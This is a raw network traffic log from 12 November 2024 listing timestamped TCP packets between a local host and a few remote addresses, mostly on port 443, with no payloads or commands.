Nov 12, 2024 17:07:30.619510889 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.619518042 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.624464989 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.624495029 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.639787912 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.639816999 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.639900923 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.670646906 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.670667887 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.738106012 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.738147974 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.738266945 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.739797115 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.739850998 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.739902020 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.772349119 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.772367001 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.772957087 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.772974968 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.946274996 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:30.946312904 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:30.946358919 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:30.946824074 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:30.946846962 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:30.994112015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:30.994169950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:31.026549101 CET	49755	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.026582956 CET	443	49755	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.026664972 CET	49755	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.027007103 CET	49755	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.027018070 CET	443	49755	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.130151033 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.130209923 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.130266905 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.130492926 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.130508900 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.194103003 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.194132090 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.194192886 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.194416046 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.194428921 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.363981009 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.367954016 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.367981911 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.368839025 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.368844986 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.393559933 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.393934011 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.393964052 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.394359112 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.394365072 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.495939016 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.496007919 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.496057987 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.496223927 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.496234894 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.496253014 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.496258974 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.502499104 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.503926992 CET	49760	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.503983021 CET	443	49760	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.504049063 CET	49760	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.504229069 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.504244089 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.504622936 CET	49760	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.504650116 CET	443	49760	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.504791975 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.504800081 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.511043072 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.511389017 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.511411905 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.511854887 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.511861086 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.521300077 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.521377087 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.521424055 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.521599054 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.521609068 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.521636963 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.521642923 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.524136066 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.524158001 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.524255991 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.524367094 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.524380922 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.639782906 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.640897036 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.640959024 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.640984058 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.640995026 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.641000032 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.641005039 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.643558979 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.643594027 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.643683910 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.643836975 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.643847942 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.645314932 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.645378113 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.645427942 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.645512104 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.645523071 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.645533085 CET	49750	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.645538092 CET	443	49750	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.647437096 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.647475004 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.647546053 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.647658110 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:31.647674084 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:31.799173117 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.799415112 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.799437046 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.800586939 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.800669909 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.801676035 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.801745892 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.802036047 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.802046061 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.852900982 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.883282900 CET	443	49755	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.883624077 CET	49755	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.883635998 CET	443	49755	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.884630919 CET	443	49755	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.884687901 CET	49755	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.885049105 CET	49755	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.885107994 CET	443	49755	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.885209084 CET	49755	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:31.885215998 CET	443	49755	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:31.930989027 CET	49755	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.018990040 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.019280910 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.019305944 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.020391941 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.020494938 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.020862103 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.020925999 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.021039009 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.021048069 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.040246964 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.040764093 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.040797949 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.041970015 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.042056084 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.042344093 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.042424917 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.042459965 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.071616888 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.083338022 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.087284088 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.087294102 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.090063095 CET	49755	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.090158939 CET	443	49755	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.090297937 CET	49755	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.110487938 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.110554934 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.110584974 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.110614061 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.110640049 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.110656023 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.110680103 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.111746073 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.111787081 CET	443	49754	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.111864090 CET	49754	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.146959066 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.239386082 CET	443	49760	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.239850998 CET	49760	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.239878893 CET	443	49760	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.240317106 CET	49760	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.240329981 CET	443	49760	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.277383089 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.277909994 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.277935028 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.278352976 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.278358936 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.314969063 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.325948954 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.326004982 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.326045036 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.326073885 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.326077938 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.326087952 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.326163054 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.326176882 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.326225996 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.327130079 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.335567951 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.337948084 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.337960958 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.368917942 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.368941069 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.370104074 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.370161057 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.370292902 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.370309114 CET	443	49757	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.370332956 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.370362997 CET	49757	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.370965004 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.370990992 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.371571064 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.371592045 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.383433104 CET	443	49760	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.383549929 CET	443	49760	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.383632898 CET	49760	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.383802891 CET	49760	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.383827925 CET	443	49760	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.383841991 CET	49760	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.383850098 CET	443	49760	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.384490013 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.384501934 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.389321089 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.390099049 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.390114069 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.390868902 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.390877008 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.391587973 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.391618967 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.391758919 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.391875982 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.391886950 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.430000067 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.445192099 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.445255041 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.445920944 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.445935011 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.455142021 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.455290079 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.455347061 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.455559015 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.455574036 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.455586910 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.455591917 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.458081961 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.458107948 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.458214045 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.458303928 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.458317041 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.460665941 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.460872889 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.460881948 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.465471029 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.465529919 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.465538979 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.476058960 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.476144075 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.476150990 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.499078989 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.499186993 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.499294996 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.499514103 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.499515057 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.499532938 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.499545097 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.502366066 CET	49766	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.502388000 CET	443	49766	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.502600908 CET	49766	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.502743006 CET	49766	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.502753973 CET	443	49766	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.521991968 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.522263050 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.522331953 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.522378922 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.522392035 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.522414923 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.522419930 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.524677992 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.524692059 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.525089979 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.525105000 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.525191069 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.525336027 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:32.525347948 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:32.564445019 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.564483881 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.564541101 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.564553022 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.564604044 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.579543114 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.584599972 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.586457014 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.586474895 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.594976902 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.595746994 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.595757961 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.625689030 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.625725985 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.625827074 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.625838041 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.625921011 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.683388948 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.688316107 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.688384056 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.688460112 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.688477993 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.688554049 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.698951960 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.703593016 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.703877926 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.703888893 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.718609095 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.718943119 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.719010115 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.719022989 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.719090939 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.744827986 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.790385962 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.790404081 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.802527905 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.802597046 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.802608967 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.817879915 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.817965984 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.817979097 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.822868109 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.822973967 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.822981119 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.837642908 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.837675095 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.837703943 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.837713957 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.837722063 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.837749004 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.863944054 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.864106894 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.864115953 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.915684938 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.922817945 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.922880888 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.923012018 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.923021078 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.937413931 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.939929008 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.939940929 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.941936970 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.943051100 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.943058968 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.956649065 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.956753969 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.956789970 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.956830978 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.956840038 CET	443	49756	142.250.185.132	192.168.2.6
